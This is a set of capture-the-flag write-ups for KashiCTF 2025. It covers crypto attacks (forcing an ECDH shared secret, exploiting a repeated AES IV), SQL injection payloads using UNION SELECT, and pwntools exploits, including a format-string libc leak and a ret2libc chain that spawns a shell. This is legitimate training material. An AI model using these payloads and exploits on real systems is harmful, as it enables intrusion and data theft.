we send Sent G as the public key to force the shared secret to be the server’s public key then we derive the AES key using SHA-1 on the server’s public key x-coordinate we get the plaintext with a hint (key) which is just Vigenère_Decode then we get the flag
import hashlib
import json
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# Values from the server response
server_pubkey_x = 32276094079778603912447006774425965370208708762852528444483628195478772222814766395366686755033025326139592318530898
iv_hex = "516c0101c0de64e33296a4cd8124ece4"
ciphertext_hex = "236923709625fe2fb1e7bbf922e426fa0ba31bfd46705df7c6683dc78053d2c3e20a4216665c1f3b9991edc6056773024a45e1d562dd2b2edea247a02ddcc4d4802efa25185746e509d223eef848b9b421fc57422c333396fc6f8542a4259ca3"
# Compute the AES key using SHA-1
sha1 = hashlib.sha1()
sha1.update(str(server_pubkey_x).encode("ascii"))
key = sha1.digest()[:16] # Truncate to 16 bytes
# Convert hex to bytes
iv = bytes.fromhex(iv_hex)
ciphertext = bytes.fromhex(ciphertext_hex)
# Decrypt the flag
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(ciphertext), 16)
print("Decrypted Flag:", flag.decode())
and this The full automated script
from pwn import *
import hashlib
import json
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# Server details
HOST = "kashictf.iitbhucybersec.in"
PORT = 50742
# NIST P-384 Generator (Hardcoded in server)
G_x = 26247035095799689268623156744566981891852923491109213387815615900925518854738050089022388053975719786650872476732087
G_y = 8325710961489029985546751289520108179287853048861315594709205902480503199884419224438643760392947333078086511627871
# Start connection using Pwntools
io = remote(HOST, PORT)
print("[+] Connected to", HOST, PORT)
# Receive the server's public key
data = io.recvuntil(b"And my Public Key: ").decode()
server_pubkey = io.recvline().decode().strip()
# Extract x-coordinate of the server's public key
server_pubkey_x = int(server_pubkey.split(",")[0][1:]) # Remove brackets
print(f"[+] Server Public Key X: {server_pubkey_x}")
# Send the generator G as our public key
io.sendline(str(G_x).encode())
io.sendline(str(G_y).encode())
print("[+] Sent Generator G as public key.")
# Receive the encrypted flag message
data = io.recvuntil(b"Message: ").decode()
flag_json = io.recvline().decode().strip()
# Extract IV and ciphertext
json_data = json.loads(flag_json)
iv = bytes.fromhex(json_data["iv"])
ciphertext = bytes.fromhex(json_data["ciphertext"])
# Derive AES key using SHA-1 of server's public key x-coordinate
sha1 = hashlib.sha1()
sha1.update(str(server_pubkey_x).encode("ascii"))
key = sha1.digest()[:16]
# Decrypt the flag
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(ciphertext), 16)
print("\n[+] Decrypted Flag:", flag.decode())
io.close()
Decrypted Flag: NaeusGRX{L_r3H3Nv3h_kq_Sun1Vm_O3w_4fg_4lx_1_t0d_a4q_lk1s_X0hcc_Dd4J_sxIZk83R}
Hint: DamnKeys
PS C:\Users\Drkasbr>
We are provided with two files: AES.py
and server.py
. The AES.py
file implements a custom AES encryption, while server.py
contains the logic we need to exploit.
In server.py
, the IV is generated as iv = os.urandom(8)*2
, resulting in a duplicated IV. The plaintext flag, which we know begins with KashiCTF
, is padded to 16 bytes.
The relevant code logic indicates that only the first block of the plaintext is XOR’d with the IV. Given that the flag starts with KashiCTF
, we can deduce the first 8 bytes of the IV using:
IV = PT1 ^ D1
We can XOR the first 8 bytes of the ciphertext to reveal the first block of the flag
from json import *
#from 0xfun import flag
from pwn import *
from AES import *
inverse_sbox = (
0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D,
)
def inverse_shift_rows(state_matrix):
new_matrix = [
[state_matrix[0][3], state_matrix[0][0], state_matrix[1][0], state_matrix[0][2]],
[state_matrix[3][0], state_matrix[2][0], state_matrix[2][3], state_matrix[1][2]],
[state_matrix[3][2], state_matrix[3][3], state_matrix[2][2], state_matrix[1][3]],
[state_matrix[3][1], state_matrix[1][1], state_matrix[0][1], state_matrix[2][1]]
]
return new_matrix
def inverse_sub_bytes(state_matrix):
result = []
for row in state_matrix:
new_row = []
for value in row:
high, low = (value >> 4) & 0xF, value & 0xF
new_row.append(inverse_sbox[high * 16 + low])
result.append(new_row)
return result
def inverse_mix_single_column(column):
xtime = lambda x: (((x << 1) ^ 0x1B) & 0xFF) if (x & 0x80) else (x << 1)
def multiply(a, b):
if b == 0x0E:
return xtime(xtime(xtime(a))) ^ xtime(xtime(a)) ^ xtime(a)
elif b == 0x0B:
return xtime(xtime(xtime(a))) ^ xtime(a) ^ a
elif b == 0x0D:
return xtime(xtime(xtime(a))) ^ xtime(xtime(a)) ^ a
elif b == 0x09:
return xtime(xtime(xtime(a))) ^ a
return [
multiply(column[0], 0x0E) ^ multiply(column[1], 0x0B) ^ multiply(column[2], 0x0D) ^ multiply(column[3], 0x09),
multiply(column[0], 0x09) ^ multiply(column[1], 0x0E) ^ multiply(column[2], 0x0B) ^ multiply(column[3], 0x0D),
multiply(column[0], 0x0D) ^ multiply(column[1], 0x09) ^ multiply(column[2], 0x0E) ^ multiply(column[3], 0x0B),
multiply(column[0], 0x0B) ^ multiply(column[1], 0x0D) ^ multiply(column[2], 0x09) ^ multiply(column[3], 0x0E)
]
def inverse_mix_columns(state_matrix):
return [inverse_mix_single_column(col) for col in state_matrix]
def decrypt_aes_block(key, ciphertext):
num_rounds = 10
state = bytes2matrix(ciphertext)
round_keys = expand_key(key)
state = add_round_key(state, round_keys[-1])
for i in range(num_rounds - 1, 0, -1):
state = inverse_shift_rows(state)
state = inverse_sub_bytes(state)
state = add_round_key(state, round_keys[i])
state = inverse_mix_columns(state)
state = inverse_shift_rows(state)
state = inverse_sub_bytes(state)
state = add_round_key(state, round_keys[0])
return matrix2bytes(state)
def xor_bytes(a, b):
return bytes(x ^ y for x, y in zip(a, b))
remote_conn = remote('kashictf.iitbhucybersec.in', 58312)
for _ in range(10):
incoming_data = json.loads(remote_conn.recvline().decode())
secret_key = bytes.fromhex(incoming_data['key'])
encrypted_data = bytes.fromhex(incoming_data['ciphertext'])
encrypted_block = encrypted_data[:16]
print(incoming_data['key'])
decrypted_block = decrypt_aes_block(secret_key, encrypted_block)
xor_value = xor_bytes(decrypted_block[:8], b'KashiCTF')
initialization_vector = xor_value + xor_value
remote_conn.sendlineafter(b'Enter iv: ', initialization_vector.hex().encode())
print("b")
print(xor_bytes(decrypted_block, initialization_vector))
print(remote_conn.readuntil('\n'))
final_data = json.loads(remote_conn.recvline().decode())
final_key = bytes.fromhex(final_data['key'])
final_ciphertext = bytes.fromhex(final_data['ciphertext'])
final_decrypted = decrypt_aes_block(final_key, final_ciphertext)
xor_value = xor_bytes(final_decrypted[:8], b'KashiCTF')
initialization_vector = xor_value + xor_value
complete_plaintext = b''
previous_block = initialization_vector
for i in range(0, len(final_ciphertext), 16):
decrypted_block = decrypt_aes_block(final_key, final_ciphertext[i:i+16])
complete_plaintext += xor_bytes(decrypted_block, previous_block)
previous_block = final_ciphertext[i:i+16]
complete_plaintext = complete_plaintext[:-complete_plaintext[-1]]
print("Flag:", complete_plaintext.decode())
remote_conn.close()
Flag: KashiCTF{AES_Unbr34KAbl3_but_t0T4lly_br3Akable_mAyb3_bLcDBPbE}
[*] Closed connection to kashictf.iitbhucybersec.in port 58312
PS C:\Users\Drkasbr\Desktop\kashi-ctf-2025\crypto\Absolutely Encrypted Shenanigans>
Although I know only a fraction of their history, but I think Romans have done many weird things in life. But this is a very basic challenge, right?
history Romans == caser
so its was rot 3 == shift 3
then keep decode base64 until the flag show up
KashiCTF{w31rd_numb3r5_4nd_c1ph3r5}
you can just strings and grep the flag
strings Challgame.exe | grep -i "KashiCTF{"
var flag = "KashiCTF{N07_1N_7H3_G4M3}" # Get the footstep audio
Now we have a unity game.
first thing i start with AssetRipper so export everything
then just grep flag but no resulte so i try to find flag.txt or any file have flag
it was weird audio so i open it with sonic Visualiser
and when we add Spectogram layer we can see the flag
FLag: KashiCTF{1t_Wa5_Ju5t_4_Tutori4l_RIP}
import httpx
base_url = "http://kashictf.iitbhucybersec.in:19383"
payload = {"filter": "' OR 1=1 -- "}
response = httpx.post(base_url + "/api/list-v2", json=payload)
print(response.text)
Flag: KashiCTF{s4m3_old_c0rp0_l1f3_COAv46HU}
import requests
url = "http://kashictf.iitbhucybersec.in:41679/api/list-v2"
headers = {
"Host": "kashictf.iitbhucybersec.in:41679",
"Accept-Language": "en-US,en;q=0.9",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
"Accept": "*/*",
"Content-Type": "application/json; charset=utf-8",
"Referer": "http://kashictf.iitbhucybersec.in:41679/",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive"
}
data = {
"filter": "' UNION SELECT request_id,secret_flag,null,null,null,null from flags ORDER BY request_id ASC;--"
}
response = requests.post(url, headers=headers, json=data)
print(response.text)
# this is the respone
#[{"employee_name":1,"request_detail":"KashiCTF","status":null,"department":null,"role":null,"email":null},{"employee_name":3,"request_detail":"{b0r1ng_o","status":null,"department":null,"role":null,"email":null},{"employee_name":8,"request_detail":"ld_c0rp0","status":null,"department":null,"role":null,"email":null},{"employee_name":15,"request_detail":"_l1f3_am_","status":null,"department":null,"role":null,"email":null},{"employee_name":19,"request_detail":"1_r1gh7_","status":null,"department":null,"role":null,"email":null},{"employee_name":21,"request_detail":"77cepe3v}","status":null,"department":null,"role":null,"email":null},{"employee_name":"barbara.jenkins","request_detail":"Approve recruitment plan","status":"pending","department":"HR","role":"Talent Acquisition Lead","email":"barbara.jenkins@corp.com"},{"employee_name":"charles.davis","request_detail":"Revamp training program","status":"pending","department":"HR","role":"Training Coordinator","email":"charles.davis@corp.com"},{"employee_name":"emily.davis","request_detail":"Oversee lab equipment procurement","status":"pending","department":"R&D","role":"Procurement Specialist","email":"emily.davis@corp.com"},{"employee_name":"kevin.harris","request_detail":"Set up new server infrastructure","status":"pending","department":"IT","role":"Network Engineer","email":"kevin.harris@corp.com"},{"employee_name":"rebecca.adams","request_detail":"Migrate database to cloud","status":"pending","department":"IT","role":"Database Administrator","email":"rebecca.adams@corp.com"},{"employee_name":"steven.white","request_detail":"Negotiate supplier agreements","status":"pending","department":"Procurement","role":"Procurement Manager","email":"steven.white@corp.com"},{"employee_name":"susan.clark","request_detail":"Request IT support for software update","status":"pending","department":"IT","role":"Software Engineer","email":"susan.clark@corp.com"}]
#
#
# The flag appears to be split across multiple entries in the request_detail field, specifically in the rows where employee_name is a number. Let's piece it together:
# {b0r1ng_o
# ld_c0rp0
# _l1f3_am_
# 1_r1gh7_
# 77cepe3v}
# When combined, it forms: KashiCTF{b0r1ng_old_c0rp0_l1f3_am_1_r1gh7_77cepe3v}
Upon examining the binary using tools like checksec
, we discovered that it had Partial RELRO, NX enabled, and was not PIE (Position Independent Executable). This means that while the stack was protected against executing code, the lack of ASLR (Address Space Layout Randomization) made it easier to predict the memory addresses.
- Identifying Addresses:
addr1
:0x401273
- this was a jump instruction used to control flowaddr2
:0x4011B4
- this address was a location in the binary that we wanted to execute.
from pwn import *
elf = context.binary = ELF("./chall_patch")
def start():
if args.REMOTE:
return remote("kashictf.iitbhucybersec.in", 9843)
else:
return process()
p = start()
addr1 = "0x401273"
addr2 = "0x4011B4"
for _ in range(10):
p.sendline(addr1)
p.sendline(addr2)
p.interactive()
#print(p.recvline().decode())
flag is : KashiCTF{m4r10_15_fun_w17H_C_MmRT5vOh}
#!python
from pwn import *
import pwn
from sys import argv
from os import getcwd
from time import sleep
speed = 0.2#.5
e = ELF("./vuln_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = e
context.terminal = ["kitty", "@", "new-window", "--cwd", getcwd()]
context.gdbinit = "/etc/profiles/per-user/darktar/share/pwndbg/gdbinit.py"
r: process = None
u64 = lambda d: pwn.u64(d.ljust(8, b"\0")[:8])
u32 = lambda d: pwn.u32(d.ljust(4, b"\0")[:4])
u16 = lambda d: pwn.u16(d.ljust(2, b"\0")[:2])
sla = lambda a, b: r.sendlineafter(a, b)
sa = lambda a, b: r.sendafter(a, b)
sl = lambda a: (sleep(speed), r.sendline(a))
s = lambda a: (sleep(speed), r.send(a))
recv = lambda: (sleep(speed), r.recv())[1]
recvn = lambda a: (sleep(speed), r.recvn(a))[1]
recvu = lambda a, b=False: (sleep(speed), r.recvuntil(a, b))[1]
clean = lambda: r.clean()
success = lambda a: log.success(a)
fail = lambda a: log.failure(a)
info = lambda a: log.info(a)
gdbscript = '''
b main
continue
'''
def conn():
global r
if len(argv) > 1:
if argv[1] == "gdb":
r = gdb.debug([e.path], gdbscript=gdbscript)
else:
ip, port = argv[1], argv[2]
r = remote(ip, port)
else:
r = e.process()
def exploit():
input(b"1")
# ------- LEAK LIBC BASE ADDRESS -------
sl(b"%37$p")
recvu(b"0x")
libc.address = int(recvu(b"\n")[:-1], 16) - 0x27305
success(f"libc base: {hex(libc.address)}")
# -------- RET2LIBC --------
ret = 0x401016
pop_rdi = 0x86570 + libc.address
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh'))
payload = flat(
b"X"*0x28,
p64(pop_rdi),
p64(binsh),
p64(ret),
p64(system),
p64(0xdeadbeef)
)
sl(payload)
print("good luck pwning :)")
conn()
exploit()
# good luck pwning :)
r.interactive()
flag: